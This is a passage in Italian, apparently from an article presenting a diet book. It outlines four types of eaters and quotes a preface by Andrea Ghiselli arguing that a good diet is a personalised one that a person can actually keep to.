Da qui i quattro profili per individuare il modo in cui ci si relaziona con l’alimentazione e problemi (grandi e piccoli) che ne derivano. C’è il mangiatore malinconico, che usa il cibo come un conforto; il mangiatore compulsivo, che usa il cibo per riempirsi e combattere ansia e paure; il mangiatore edonista, attratto dal piacere del buon cibo; il mangiatore sociale, che cerca nel cibo l’aggregazione e affida al cibo la sua affermazione.
“Qual è la dieta giusta? Viene spiegato in questo libro: è quella che, prendendo in considerazione i nostri gusti e le nostre debolezze, ci accompagna in maniera facile e adeguata. Ognuno di noi infatti – si legge nella prefazione di Andrea Ghiselli, ricercatore del Consiglio per la ricerca in agricoltura e l’analisi dell’economia agraria (Crea) – mangia per motivazioni completamente diverse (oltre a nutrirsi). La dieta perciò deve adattarsi alle persone come un vestito che cambia a seconda delle occasioni e delle situazioni. Non può esistere quindi la dieta X o la dieta Y, ma la dieta persona, sulla quale ognuno può mettere il proprio nome. Una dieta che può accompagnarci per tutta la vita, seguirci in ogni momento. La dieta migliore infatti, quella che funziona, è quella che si riesce a fare”.
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